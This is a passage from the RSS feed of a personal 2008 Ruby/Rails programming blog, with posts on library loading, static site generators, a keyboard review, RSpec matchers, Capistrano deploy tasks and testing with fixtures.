<pre><code>Dir.glob(File.join('obfuscator', '*.rb')).each do |lib|
  require lib
end
</code></pre>
<p>Then whenever I wanted to use obfuscator, I'd simply require
'obfuscator.rb'.  The above would work if your current working
directory is the same as obfuscator.rb.  Unfortunately, if it isn't,
then you're screwed because require won't be able to find
obfuscator/*.rb relative to where you are.</p>
<p>One fix is to hard code the glob to be relative to the current file,
rather than the current working directory:</p>
<pre><code>Dir.glob(File.join(File.dirname(__FILE__), 'obfuscator', '*.rb')).each do |lib|
  require lib
end
</code></pre>
<p>This will make the library lookups relative to 'obfuscator.rb'
(<strong>FILE</strong>).  Since it's semi-hardcoded it'll work.</p>
<p>Another
<a href="http://blog.objectmentor.com/articles/2008/07/20/bauble-bauble" rel="nofollow">solution</a>
that I came across today that I liked is to have the library
to-be-loaded be in charge of doing the requiring.  I noticed that
<a href="http://webby.rubyforge.org/" rel="nofollow">Webby</a> also used a similar trick called
<tt>ensure_in_path</tt> to calculate some library loading:</p>
<pre><code># Adds the given arguments to the include path if they are not
# already there
def ensure_in_path( *args )
  args.each do |path|
    path = File.expand_path(path)
    $:.unshift(path) if test(?d, path) and not $:.include?(path)
  end
end
</code></pre>
<p>I'll keep an eye out for other clean ways people have been approaching
this problem, but so far I like the approach of manipulating the load
path in a function or file, and having that function or file loaded
before the rest of the project.  I hope that clears up some requiring
woes!</p>
  ]]></description>
</item>

<item>
  <title>Flaco Crushers</title>
  <link>https://jch.github.io/posts/2008-08-06-flaco-crusher.html
</link>
  <guid>https://jch.github.io/posts/2008-08-06-flaco-crusher.html
</guid>
  <pubDate>Wed, 06 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Originally, this post was titled 'Ruby Markdown Implementations' and
I was going to talk about
<a href="http://tomayko.com/writings/ruby-markdown-libraries-real-cheap-for-you-two-for-price-of-one" rel="nofollow">alternatives</a>
to <a href="http://www.deveiate.org/projects/BlueCloth" rel="nofollow">BlueCloth</a>.  But while
I was reading up about <a href="http://maruku.rubyforge.org/" rel="nofollow">Maruku</a>, I
followed a link to <a href="http://webgen.rubyforge.org/" rel="nofollow">webgen</a>.  As if that
wasn't enough, reading up on webgen led me to yet another static site
generator called <a href="http://webby.rubyforge.org/" rel="nofollow">webby</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Webgen</h2><a id="user-content-webgen" class="anchor" aria-label="Permalink: Webgen" href="#webgen"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="http://webgen.rubyforge.org/" rel="nofollow">Webgen</a> is the first guy I found.  My
heart sunk a little for Flaco, but I was immediately impressed by it.</p>
<div class="markdown-heading"><h3 class="heading-element">Maturity</h3><a id="user-content-maturity" class="anchor" aria-label="Permalink: Maturity" href="#maturity"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Webgen has been around for a while, and is written by <a href="http://rubyforge.org/users/gettalong/" rel="nofollow">Thomas
Leitner</a>, who has been in the
Ruby community since at least 2004.  It looks like the project itself
has been actively developed since 2004, with the last release being
just a week ago.  At it's height, it had <a href="http://rubyforge.org/project/stats/?group_id=296" rel="nofollow">over 900
downloads</a>.</p>
<div class="markdown-heading"><h3 class="heading-element">Code Quality</h3><a id="user-content-code-quality" class="anchor" aria-label="Permalink: Code Quality" href="#code-quality"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Skimming through the code, it looks very clean and ruby-like.  There
are test cases and a custom test harness. The Rakefile has many tasks
for streamlining administrative tasks.  The RDoc link on the site is
broken, but there is very comprehensive RDoc that can be generated
with the source.  It's worth noting that for a project that started
over 4 years ago, the code doesn't look crufty or outdated at all.
Kudos to you Mr. Leitner.</p>
<div class="markdown-heading"><h3 class="heading-element">Licensing</h3><a id="user-content-licensing" class="anchor" aria-label="Permalink: Licensing" href="#licensing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>GPL V2.  Licensing doesn't really bother me, but it's worth
mentioning.</p>
<div class="markdown-heading"><h3 class="heading-element">Noteable Features</h3><a id="user-content-noteable-features" class="anchor" aria-label="Permalink: Noteable Features" href="#noteable-features"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>build custom webgen tags for an extensible templating language.</li>
<li>meta information fields.</li>
<li>clever configuration.</li>
<li>clean way to specify the render chain. e.g. erb, then markdown</li>
<li>plugin-like ways to add breadcrumbs and menus.</li>
<li>caching (don't know the details, but it creates a cache file)</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Webby</h2><a id="user-content-webby" class="anchor" aria-label="Permalink: Webby" href="#webby"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>After poking around the edges of webgen, I googled for 'static site
generation' and found <a href="http://webby.rubyforge.org/" rel="nofollow">Webby</a>.  The webby
homepage wow-ed me more, but 'ASCII Alchemy' alone isn't enough
sometimes.</p>
<div class="markdown-heading"><h3 class="heading-element">Maturity</h3><a id="user-content-maturity-1" class="anchor" aria-label="Permalink: Maturity" href="#maturity-1"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>There's both a rubyforge and a github project for webby.  The fact
that it uses github and rspec makes me think that <a href="http://www.pea53.com/" rel="nofollow">Tim
Pease</a> is on top of his ruby fashion.  The last
commit on github was a mere <em>2 hours</em> ago.  The whole project was
started about a year ago.</p>
<div class="markdown-heading"><h3 class="heading-element">Code Quality</h3><a id="user-content-code-quality-1" class="anchor" aria-label="Permalink: Code Quality" href="#code-quality-1"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Webby also looks pretty clean and ruby-like.  I can't quite put my
finger on it, but I think I liked how webgen was laid out better.  I
didn't spend as much time in the webby code, but it seems like it
isn't split up as well as webgen and might be harder to add new
features.  The RDoc didn't seem as good as webgen's.  I reserve final
judgement for later.</p>
<div class="markdown-heading"><h3 class="heading-element">Licensing</h3><a id="user-content-licensing-1" class="anchor" aria-label="Permalink: Licensing" href="#licensing-1"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>MIT License.  How chic.</p>
<div class="markdown-heading"><h3 class="heading-element">Noteable Features</h3><a id="user-content-noteable-features-1" class="anchor" aria-label="Permalink: Noteable Features" href="#noteable-features-1"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>better guides and community for support</li>
<li>use of rake for all actions</li>
<li>autobuild feature</li>
<li>build pages from templates</li>
</ul>
<p>Both Webgen and Webby share a lot of features.  The ones that don't
overlap seem like they could be written because of the clean
architectures they both seem to follow.  The features webby lists and
shows in it's tutorial seem to match more with what I want for my
blog.</p>
<p>I'm happy to have found these two projects because they both do what I
want them to.  It saves me a ton of work in doing not-so-much tasks
like command line parsing and setting up library paths.  On top of
that, I can imagine adding the features that I wanted in Flaco that
aren't available in these systems.  They might even turn out to be
features that could be useful to other people :)</p>
  ]]></description>
</item>

<item>
  <title>Flaco Rewrite</title>
  <link>https://jch.github.io/posts/2008-08-05-flaco-rewrite.html
</link>
  <guid>https://jch.github.io/posts/2008-08-05-flaco-rewrite.html
</guid>
  <pubDate>Tue, 05 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I've been happily using my own ghetto blog I named <a href="/articles/2008/01/27/flaco-blog">Flaco
Blog</a>.  The beauty of forcing myself to eat my
own software is that I can't really complain about it.  Either
something works exactly as I want it, or it slowly irritates me until
it overcomes the effort needed to rewrite it.  So why am I proposing a
rewrite?</p>
<p>Overall, I must say I'm very happy with Flaco.  It's simpler to setup and
use than all the other blog engines I've tried to use in the past.  As
far as bugs go, the scope of what I want is so well defined that all
the bugs I had were really minor.  What I haven't been enjoying is
hacking the code.  It feels more like a chore than fun.  And like I
said, I feel that I've finally been irritated enough to warrant some
action.</p>
<p>Earlier, I made this <a href="/articles/2008/05/20/my-perl">whole rant</a> about enjoying
Perl.  I still feel that everything I said is true, but instead of
working on features I wanted, I spent my time pouring over CPAN
deciding what object libraries to use.  I had become a <a href="http://www.pchristensen.com/blog/articles/hey-language-snobs-dont-pinch-pennies/" rel="nofollow">language penny
pincher</a>:
mulling over how to do things and losing site of my goals.</p>
<p>The new plan is to use Ruby.  I won't use Rails because that doesn't
really suit the purpose of Flaco.  Using Ruby will allow me to trickle
some of the stuff I learn from work back home.  Also, it'll let me
explore the non-Rails parts of Ruby.  Here's what's in store for the
coming days.</p>
<ul>
<li>existing publish features of Perl Flaco.</li>
<li>extraction of blog system configuration.</li>
<li>separation of blog content and blog system</li>
<li>incremental publishing (publish only since last published)</li>
</ul>
<p>Those bullets are somewhat ordered for the coming days.  The last one
will be the new and interesting bit.  I'm really looking forward to
it.</p>
  ]]></description>
</item>

<item>
  <title>My Keyboard</title>
  <link>https://jch.github.io/posts/2008-08-03-my-keyboard.html
</link>
  <guid>https://jch.github.io/posts/2008-08-03-my-keyboard.html
</guid>
  <pubDate>Sun, 03 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>... is awesome.  I have the same keyboard at home and at work.  It
does everything that I want a keyboard to do.  It looks fantastic.  It
feels fantastic.  It types fantastic.  And best of all, it does all of
this without any drama.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/natural_ergo_4000.jpg"><img src="/images/natural_ergo_4000.jpg" alt="wired microsoft natural ergonomic
split keyboard" style="max-width: 100%;"></a>
I got my first <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;location=http%3A%2F%2Fwww.amazon.com%2FMicrosoft-Natural-Ergo-Keyboard-4000%2Fdp%2FB000A6PPOK&amp;tag=what0d-20&amp;linkCode=ur2&amp;camp=1789&amp;creative=9325" rel="nofollow">Microsoft
Natural Ergo 4000</a><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/788ae05f0c98c1420e0b60dbad4a1475f35cf196e5402090f36211ad2157a8fd/687474703a2f2f7777772e6173736f632d616d617a6f6e2e636f6d2f652f69723f743d7768617430642d3230266c3d757232266f3d31"><img src="https://camo.githubusercontent.com/788ae05f0c98c1420e0b60dbad4a1475f35cf196e5402090f36211ad2157a8fd/687474703a2f2f7777772e6173736f632d616d617a6f6e2e636f6d2f652f69723f743d7768617430642d3230266c3d757232266f3d31" width="1" height="1" border="0" alt="" data-canonical-src="http://www.assoc-amazon.com/e/ir?t=what0d-20&amp;l=ur2&amp;o=1" style="max-width: 100%;"></a> after a gruesome compiler's project at
school.  My shoulders were hurting from the crappy chair and table
combination, and my forearms were sore and numb from using the iBook
keyboard.</p>
<p>I never used an ergo-split keyboard for an extended period of time
before this.  It's not that I hated them or anything, it's just I
didn't really see a point to using one.  After that painful 164
project, I figured that every little bit might help, so I gave the
split keyboard a shot.</p>
<p>The keyboard came in a crummy cheap-o box with crummy software, and a
crummy piece of plastic designed to be placed under the keyboard and
get in your way.  Take my advice and just toss all of this as soon as
possible.  Setup was super easy since it's just a USB keyboard.  I
opted away from the <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;location=http%3A%2F%2Fwww.amazon.com%2FMicrosoft-Natural-Ergonomic-Desktop-7000%2Fdp%2FB000Q6UZBM%3Fie%3DUTF8%26s%3Delectronics%26qid%3D1217917027%26sr%3D8-1&amp;tag=what0d-20&amp;linkCode=ur2&amp;camp=1789&amp;creative=9325" rel="nofollow">Microsoft
Natural Ergonomic Desktop 7000</a><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/788ae05f0c98c1420e0b60dbad4a1475f35cf196e5402090f36211ad2157a8fd/687474703a2f2f7777772e6173736f632d616d617a6f6e2e636f6d2f652f69723f743d7768617430642d3230266c3d757232266f3d31"><img src="https://camo.githubusercontent.com/788ae05f0c98c1420e0b60dbad4a1475f35cf196e5402090f36211ad2157a8fd/687474703a2f2f7777772e6173736f632d616d617a6f6e2e636f6d2f652f69723f743d7768617430642d3230266c3d757232266f3d31" width="1" height="1" border="0" alt="" data-canonical-src="http://www.assoc-amazon.com/e/ir?t=what0d-20&amp;l=ur2&amp;o=1" style="max-width: 100%;"></a> purely because wireless keyboards require
too much maintenance.  I don't care if battery life gets better and
better.  I know the one time I don't have pre-charged batteries will
be the one time the batteries in the keyboard decides to die.  I think
the 7000 is a better deal overall if I didn't have a mouse already.</p>
<p>Overall impressions have been great.  I never notice my keyboard these
days.  That's exactly how I'd like a keyboard to behave: working and
unnoticeable.  I had to unlearn a few bad touch-typing mistakes like
6, and 7.  The other complaint I had was the lack of support for
mapping the media buttons in OS X.  I would've really loved to have
the back/forward/scroll buttons work since they're near my thumb and
index fingers.  Thankfully, the back and forward buttons don't click
anymore so it doesn't matter if OS X supports them or not.</p>
<p>I highly recommend the Microsoft Natural Ergo 4000 keyboard.  In fact,
I highly recommend all Microsoft keyboards and mice.  They're always
a good deal when it comes to comfort and features.</p>
  ]]></description>
</item>

<item>
  <title>Emacs Info</title>
  <link>https://jch.github.io/posts/2008-08-02-emacs-info.html
</link>
  <guid>https://jch.github.io/posts/2008-08-02-emacs-info.html
</guid>
  <pubDate>Sat, 02 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Just a quick cheatsheet of how to get around in Info mode in Emacs.</p>
<ul>
<li>n,p - next previous nodes</li>
<li>u   - up a node</li>
<li>m   - menu items (things that start with *)</li>
<li>f   - cross references (things underlined)</li>
<li>m?, f? - list of cross refs or menus</li>
<li>l,r   - last, reverse-last</li>
<li>t   - top node</li>
<li>d   - directory (index of info)</li>
<li>q   - quit</li>
<li>M-x info-appropos</li>
<li>g   - goto node (by name)</li>
<li>1..9 - menu item by number</li>
</ul>
<p><a href="http://www.neilvandyke.org/sicp-texi/sicp.info.gz" rel="nofollow">SICP in Info Format!</a></p>
<p><a href="http://www.pchristensen.com/blog/articles/setting-up-and-using-emacs-infomode/" rel="nofollow">Setting up your own Info
docs</a></p>
<p>This came about because I was having some trouble installing
<a href="http://rinari.rubyforge.org/" rel="nofollow">rinari</a> for emacs.  On the plus side, I
got to read through some intro material about emacs lisp and came
across <a href="http://www.pchristensen.com/blog/articles/hey-language-snobs-dont-pinch-pennies/" rel="nofollow">what's in peter's
head</a></p>
  ]]></description>
</item>

<item>
  <title>Rails String Inflections</title>
  <link>https://jch.github.io/posts/2008-07-30-rails-string-inflections.html
</link>
  <guid>https://jch.github.io/posts/2008-07-30-rails-string-inflections.html
</guid>
  <pubDate>Wed, 30 Jul 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I've been using
<a href="http://api.rubyonrails.org/classes/ActiveSupport/CoreExtensions/String/Inflections.html#M000488" rel="nofollow">constantize</a>
to turn strings into Class objects.  Constantize is mixed into the
String class by Rails.  This got me to thinking about other clever
helpers that might be mixed into the string class.  A quick search
through the API did not disappoint.</p>
<p>In
<a href="http://api.rubyonrails.org/classes/ActiveSupport/CoreExtensions/String/Inflections.html" rel="nofollow">ActiveSupport::CoreExtensions::String::Inflections</a>,
I found a whole list of goodies.  I can find the database table name
for a given class with 'tableize'.  If I just wanted a Class name
string instead of a Class object, I can use 'classify'.  'dasherize'
probably isn't too useful for me, but I thought it was cute.  I can
see 'demodulerize' and 'foreign_key' to be very useful.  'humanize',
'pluralize', 'titleize' could be really useful for manipulating text
before it's rendered for the user.  'underscore' can be used to
calculate paths to files based on their class names.</p>
<p>Here's a quick cheatsheet of all the methods.</p>
<table>
  <tbody><tr>
<th>method</th>
<th>before</th>
<th>after</th>
</tr>
  <tr>
<td>camelcase   </td>
<td colspan="2">same as camelize</td>
</tr>
  <tr>
<td>camelize    </td>
<td>i_like/them_camels</td>
<td>ILike::ThemCamels</td>
</tr>
  <tr>
<td>classify    </td>
<td>fish_and_chips</td>
<td>FishAndChip</td>
</tr>
  <tr>
<td>constantize </td>
      <td colspan="2">classify, then turns it into a class object</td>
  </tr>
  <tr>
<td>dasherize   </td>
<td>this_ones_cute</td>
<td>this-ones-cute</td>
</tr>
  <tr>
<td>demodulize  </td>
<td>Strings::All::This::Class</td>
<td>Class</td>
</tr>
  <tr>
<td>foreign_key </td>
<td>Namespace::Model</td>
<td>model_id</td>
</tr>
  <tr>
<td>humanize    </td>
<td>employee_salary_id</td>
<td>Employee salary</td>
</tr>
  <tr>
<td>pluralize   </td>
<td>sheep</td>
<td>sheep</td>
</tr>
  <tr>
<td>singularize </td>
<td>sheep</td>
<td>sheep</td>
</tr>
  <tr>
<td>tableize    </td>
<td>FrenchToast</td>
<td>french_toasts</td>
</tr>
  <tr>
<td>titlecase   </td>
<td colspan="2">same as titleize</td>
</tr>
  <tr>
<td>titleize    </td>
<td>good night moon</td>
<td>Good Night Moon</td>
</tr>
  <tr>
<td>underscore  </td>
<td>NameSpace::Model</td>
<td>name_space/model</td>
</tr>
</tbody></table>
  ]]></description>
</item>

<item>
  <title>RSpec'ing acts_as_state_machine</title>
  <link>https://jch.github.io/posts/2008-07-24-rspecing-acts-as-state-machine.html
</link>
  <guid>https://jch.github.io/posts/2008-07-24-rspecing-acts-as-state-machine.html
</guid>
  <pubDate>Thu, 24 Jul 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>One of my favorite plugins I've seen so far is
<a href="http://agilewebdevelopment.com/plugins/acts_as_state_machine" rel="nofollow">acts_as_state_machine</a>.
It's a dead simple way to model the different states your models can be
in.  It also lets you register callbacks to when a model enters,
entered, or leaves a particular state.  It's absolutely fantasic until
I have to test it.  Then it becomes an absolute nightmare.</p>
<p>The first intuitive, but horrifically wrong idea is to stub out the
current state:</p>
<pre><code>@model.stub!(:state).and_return('old_state')
@model.some_event!
@model.state.should == 'new_state'
</code></pre>
<p>The problem with this is the mock will always return old_state, even
if some_event! caused @model to go into new_state.</p>
<p>A less intuitive, but workable solution is to check that the
transition event was fired:</p>
<pre><code>@model.should_receive(:update_attribute).with(@model.class.state_column, "matched")
</code></pre>
<p>This is a little nicer, but kind of obscures the intention of the
test.  So ideally, I'd like to be able to say something like:</p>
<pre><code>@model.should transition_to('matched').from('draft')
</code></pre>
<p>Thankfully, the crappy RSpec documentation does cover this case.  It
was easy to write a <a href="http://rspec.rubyforge.org/rdoc/classes/Spec/Matchers.html" rel="nofollow">custom expection
matcher</a>:</p>
<pre><code>module ActsAsStateMachineMatchers
  class Transition
    def initialize(expected)
      @expected = expected
    end

    def matches?(target)
      @target = target
      @target.should_receive(:update_attribute).
        with(@target.class.state_column, @expected)
    end

    def failure_message
      &lt;&lt;-MSG
      expected #{@target.inspect} to transition to state
      #{@expected}, but in state {@target.state}
      MSG
    end

    def negative_failure_message
      &lt;&lt;-MSG
      expected #{@target.inspect} to transition to state
      #{@expected}, but in state {@target.state}
      MSG
    end
  end

  def transition_to_state(expected)
    Transition.new(expected)
  end
end
</code></pre>
<p>This is one step away from my ideal case because I was too lazy to a
Spec::Mocks::Methods with a corresponding
Spec::Mocks::MessageExpectation, which is what 'should_receive' and
'with' are.  If I ever get unlazy enough to poke into the code more, I
could write the analogous 'should_transition_to', and 'from'.  This
might be a good excuse to open a github account and play with that too
:)</p>
  ]]></description>
</item>

<item>
  <title>First Sprint</title>
  <link>https://jch.github.io/posts/2008-07-18-first-sprint.html
</link>
  <guid>https://jch.github.io/posts/2008-07-18-first-sprint.html
</guid>
  <pubDate>Fri, 18 Jul 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Today at work, I sat in my first <a href="http://en.wikipedia.org/wiki/Planning_poker" rel="nofollow">planning
poker</a> meeting.  This was
in preparation of our next 4 weeks of development time.  We used the
<a href="http://planningpoker.com/" rel="nofollow">Planning Poker</a> site to vote on suggested
projects.  I had read a little bit about user stories back in my Rails
class, but the few times I tried practicing agile development
methodologies were always met with whining and criticism.  It's good
to be at a place where people support this.</p>
<p>The meeting brought up a lot of vague and not fully defined problems
that we need to work on.  It didn't help with researching or the
actual design needed for some of the problems.  However, it was still
good to have a 30,000 mile view of what's coming up for the next
month.  Two things that caught my attention that I'd like to read more
into are <a href="http://codeforpeople.rubyforge.org/svn/bj/trunk/README" rel="nofollow">Background
Job</a> to
replace <a href="http://backgroundrb.rubyforge.org/" rel="nofollow">BackgrounDRB</a>, and
<a href="http://www.sphinxsearch.com/" rel="nofollow">Sphinx</a> to replace <a href="http://projects.jkraemer.net/acts_as_ferret/" rel="nofollow">Acts as
Ferret</a>.</p>
<p>Originally I had planned to have one day this weekend dedicated to
writing and testing some features for housing, but the time
disappeared and I lacked to motivation to pick that up.  Hopefully
next week will bring more updates in that area.</p>
  ]]></description>
</item>

<item>
  <title>Dangerous Scaffolding</title>
  <link>https://jch.github.io/posts/2008-07-15-dangerous-scaffolding.html
</link>
  <guid>https://jch.github.io/posts/2008-07-15-dangerous-scaffolding.html
</guid>
  <pubDate>Tue, 15 Jul 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I did something bad today.  It wasn't bad enough to destroy working
customer instances, but it was enough to make all the dev team all up
in a huff.  The worst part of the whole experience was a) I didn't
remember I was the one who nuked it, and b) it got nuked because of
some crufty scaffolding and default behaviours.</p>
<p>Backtrack a few days and imagine this scenario: I was working on an
open ticket about permissions.  I needed a user with a specific role
to test with, so I looked up that user.  I didn't know the user's
password, so in my impatience, I go to my awesome bar and type in
'/user/edit' by hand.  An innoculous page renders, and I see the
change password fields on the bottom of the page.  I type in a bogus
password, and hit enter.</p>
<p>All that seemed straight forward enough until I realized that the
default form action under the change password section was "Delete
User".  Not even this raised any warning flags in my mind.  It wasn't
until a few days later when all kinds of crazy @#$! related to missing
users started happening that I took notice.  Can you guess what
happened?</p>
<p>The first thing that went wrong was me hijacking the URL by hand
instead of going through what the UI meant for me to do.  The app does
all it's edits and changes through users/show instead of users/edit.
What users/edit renders instead is a well hidden scaffolded view from
many moons ago.  This form calls users/destroy.  But wait!  The riddle
is far from over.  Not only did the user I was working on get nuked,
but several other users also mysteriously disappeared.  This came
about as a result of the User model mixing in acts_as_tree.  Acts as
tree apparently has an undocumented assumption that it should destroy
it's children when the root is destroyed.  At least I wasn't the
<a href="http://dev.rubyonrails.org/ticket/1924" rel="nofollow">first person to be burned</a> by
this.</p>
  ]]></description>
</item>

<item>
  <title>Capify my App</title>
  <link>https://jch.github.io/posts/2008-07-13-capify-my-app.html
</link>
  <guid>https://jch.github.io/posts/2008-07-13-capify-my-app.html
</guid>
  <pubDate>Sun, 13 Jul 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>After a complete Saturday of vegging out, I decided to accomplish
something today.  My initial target was to pull Craigslist rental
listings for my <a href="http://housing.whatcodecraves.com/" rel="nofollow">housing app</a>, but
that led to me learning more about plugins, which somehow led me to
reading about Capistrano.  Yak shave, anyone?</p>
<p>I blazed through the book <a href="http://www.amazon.com/gp/product/0978739205?ie=UTF8&amp;tag=what0d-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0978739205" rel="nofollow">Deploying
Rails Applications: A Step-by-Step Guide (Facets of Ruby)</a><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/c39a836ead426243152886a5a3f2b4ecc27f22fefe13912cfbe2159a4b27dccf/687474703a2f2f7777772e6173736f632d616d617a6f6e2e636f6d2f652f69723f743d7768617430642d3230266c3d617332266f3d3126613d30393738373339323035"><img src="https://camo.githubusercontent.com/c39a836ead426243152886a5a3f2b4ecc27f22fefe13912cfbe2159a4b27dccf/687474703a2f2f7777772e6173736f632d616d617a6f6e2e636f6d2f652f69723f743d7768617430642d3230266c3d617332266f3d3126613d30393738373339323035" width="1" height="1" border="0" alt="" data-canonical-src="http://www.assoc-amazon.com/e/ir?t=what0d-20&amp;l=as2&amp;o=1&amp;a=0978739205" style="max-width: 100%;"></a>.  I skimmed through the first 4 chapters
because they didn't present anything new to me.  I spent much more
time reading through chapter 5: the what, why, and how of Capistrano.
After my first reading, I decided to test it out with my Dreamhost
setup of housing app to try my luck.</p>
<p>One thing that threw me off initially was roles.  Roles are simply
different servers that are involed in the deployment.  Each Capistrano
recipe is run for all roles by default.  For example, the deploy:setup
recipe creates the initial directory structure on the server for
checking out the Rails application.  Capistrano tried to run this
recipe on both my :db and :app roles.  I couldn't find a way of adding
an exception to what roles an <em>existing</em> recipe is run on, so I
removed the :db role entirely.  I didn't have a use for a :db role
anyways, but I could see that as a problem in the future.</p>
<p>Next, I wrote a small task to keep database.yml the same between
deployments:</p>
<pre><code>task :fix\_config, :except =&gt; { :no\_release =&gt; true } do
  run "ln -s #{shared_path}/config/database.yml #{release\_path}/config/database.yml"
end

after 'deploy:symlink', 'fix_config'
</code></pre>
<p>I also overrode the deploy:restart task to fit with Phusion
Passenger.</p>
<pre><code>namespace(:deploy) do
  desc "Restart Passenger.  The file is deleted when it restarts"
  task :restart do
    run "touch #{current_path}/tmp/restart.txt"
  end
end
</code></pre>
<p>After that, it was clear sailing.  The deployments were unacceptably
slow because a checkout of my project is 62MB (darn your edge
rails!). I found the Rails site
<a href="http://manuals.rubyonrails.com/read/chapter/97" rel="nofollow">guide</a> to Capistrano
to be very good.  The same can't be said for the main <a href="http://www.capify.org/" rel="nofollow">Capistrano
site</a>.  The saving grace for that is all the
methods are well commented and straightfoward if you read through the
Capistrano source.</p>
<p>If I had to summarize Capistrano, I'd call it an interpreter for a
Rake-like domain specific language to records and play back commands.
Specifically, it's useful for Rails deployment because it automates
tedious and error prone sequences of commands to deploy a bundle of
code to a web directory, run any scripts or rake tasks, and kick any
servers or services.  As an added bonus, it sets a cute convention for
directory structure and allows you rollback to different deployments.
It's especially easy to pick up if you've written any Rake tasks in
the past.  I can see how Capistrano can be useful outside of Rails
projects as well.  It's simply a great little tool for automating
commands.</p>
  ]]></description>
</item>

<item>
  <title>Fuck Fixtures</title>
  <link>https://jch.github.io/posts/2008-07-09-fuck-fixtures.html
</link>
  <guid>https://jch.github.io/posts/2008-07-09-fuck-fixtures.html
</guid>
  <pubDate>Wed, 09 Jul 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>When you first start testing a newly created application, fixtures
might seem very appealing.  They're easy to write, they make sense,
and they quickly create valid or invalid instances for you to test
with.  Unfortunately, fixtures don't scale with a growing project.
They quickly get out of hand, and you'll end up spending more time
fixing your fixtures than your tests and code.  So fuck you fixtures,
and good riddance.</p>
<p>Fixtures are the devil because:</p>
<ul>
<li>they're brittle.</li>
<li>they don't work well with complex association with foreign keys.</li>
<li>they don't change when your schema and models change.</li>
</ul>
<p>Rails 2 fixtures are nicer, but it's much of the same.  If you don't
believe me, just keep using them and you'll know what I'm talking
about at some point.</p>
<div class="markdown-heading"><h2 class="heading-element">A Valid Case</h2><a id="user-content-a-valid-case" class="anchor" aria-label="Permalink: A Valid Case" href="#a-valid-case"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>One interesting case my friend came across the other day was using
fixtures for rspec tests.  As described above, I think model fixtures
for testing is both brittle and hard to maintain.  However, he was
running across the case:</p>
<pre><code>it "should save to the freakin database" do
  @some_model.save.should == true
  debugger
end
</code></pre>
<p>This test passes with flying colors...  But seeing is believing, and
if you login to the test database, you won't be seeing a saved
record.  This is generally a good thing because once the test is
finished, the transaction is rolled back, and you'll have clean data
independence between tests.  The downside is when you're testing
something like Sphinx that assumes there's stuff in the database to
work with, it won't work.  The above example will pass, and if you
break at the debugger line, @some_model.new_record? will be false.</p>
<div class="markdown-heading"><h2 class="heading-element">So What Now?</h2><a id="user-content-so-what-now" class="anchor" aria-label="Permalink: So What Now?" href="#so-what-now"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Other than that valid case, most problems should be solvable by
stubbing and mocking.  If not, then refactor your code so that it is!
One particularly delicious piece of syntactic sugar called <a href="http://github.com/thoughtbot/factory_girl/tree/master">Factory
Girl</a>.  For a
short description of what it does, check out <a href="http://giantrobots.thoughtbot.com/2008/6/6/waiting-for-a-factory-girl" rel="nofollow">this blog
post</a>.</p>
  ]]></description>
</item>

<item>
  <title>Rails Webapp Engineering</title>
  <link>https://jch.github.io/posts/2008-07-04-rails-web-engineering.html
</link>
  <guid>https://jch.github.io/posts/2008-07-04-rails-web-engineering.html
</guid>
  <pubDate>Fri, 04 Jul 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>The day after I came back from Australia, I started my new job at
<a href="http://www.coupa.com" rel="nofollow">Coupa Software</a>.  I'm absolutely loving it at
the moment because of the awesome people and the amount of software
I'm learning.  Here's just a few that I've picked up in my first week
that I'd like to jot down.</p>
<div class="markdown-heading"><h2 class="heading-element">Skinny Controllers, Fat Models</h2><a id="user-content-skinny-controllers-fat-models" class="anchor" aria-label="Permalink: Skinny Controllers, Fat Models" href="#skinny-controllers-fat-models"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Here's <a href="http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model" rel="nofollow">one
article</a>
about it.  It really <em>really</em> helps out with testing.</p>
<div class="markdown-heading"><h2 class="heading-element">Association</h2><a id="user-content-association" class="anchor" aria-label="Permalink: Association" href="#association"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="http://api.rubyonrails.org/classes/ActiveRecord/Aggregations/ClassMethods.html#M001262" rel="nofollow">composed_of</a></p>
<ul>
<li>
<p>cmd-k clears terminal window</p>
</li>
<li>
<p>rake stats</p>
</li>
<li>
<p>script/spec for an individual test</p>
</li>
<li>
<p><a href="http://api.rubyonrails.org/classes/ActionController/Streaming.html" rel="nofollow">send_data, send_file</a></p>
</li>
<li>
<p>render_to_string - returns string, use with send_data</p>
</li>
<li>
<p><a href="http://www.ruby-doc.org/core/classes/Enumerable.html#M001147" rel="nofollow">Enumerable:inject</a></p>
<ul>
<li>same as Scheme accumulator I used in 61A</li>
</ul>
</li>
<li>
<p><a href="http://ruby-pdf.rubyforge.org/pdf-writer/doc/classes/PDF/SimpleTable.html" rel="nofollow">PDF::SimpleTable</a></p>
<ul>
<li>really really easy to use reporter generator.</li>
</ul>
</li>
<li>
